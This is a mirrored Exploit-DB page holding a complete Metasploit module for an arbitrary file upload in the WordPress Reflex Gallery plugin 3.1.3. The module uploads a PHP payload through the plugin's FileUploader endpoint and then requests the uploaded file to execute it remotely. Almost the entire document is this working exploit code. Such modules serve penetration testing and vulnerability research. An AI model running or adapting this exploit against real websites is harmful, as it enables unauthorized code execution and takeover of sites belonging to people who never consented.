WordPress Plugin Reflex Gallery – Arbitrary File Upload (Metasploit)

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• 92 阅读

• 作者： Metasploit
  日期： 2015-04-21
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/36809/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Wordpress Reflex Gallery Upload Vulnerability',
  'Description'=> %q{
  This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
  version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
  },
  'Author' =>
  [
  'Unknown', # Vulnerability discovery
  'Roberto Soares Espreto <robertoespreto[at]gmail.com>'# Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['EDB', '36374'],
  ['OSVDB', '88853'],
  ['WPVDB', '7867']
  ],
  'Privileged' => false,
  'Platform' => 'php',
  'Arch' => ARCH_PHP,
  'Targets'=> [['Reflex Gallery 3.1.3', {}]],
  'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
  'DefaultTarget'=> 0)
  )
  end
  
  def check
  check_plugin_version_from_readme('reflex-gallery', '3.1.4')
  end
  
  def exploit
  php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
  
  data = Rex::MIME::Message.new
  data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
  post_data = data.to_s
  
  time = Time.new
  year = time.year.to_s
  month = "%02d" % time.month
  
  res = send_request_cgi({
  'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
  'method'=> 'POST',
  'vars_get'=> {
  'Year'=> "#{year}",
  'Month' => "#{month}"
  },
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> post_data
  })
  
  if res
  if res.code == 200 && res.body =~ /success|#{php_pagename}/
  print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
  register_files_for_cleanup(php_pagename)
  else
  fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
  end
  else
  fail_with(Failure::Unknown, 'Server did not respond in an expected way')
  end
  
  print_status("#{peer} - Calling payload...")
  send_request_cgi(
  'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
  )
  end
  end
  

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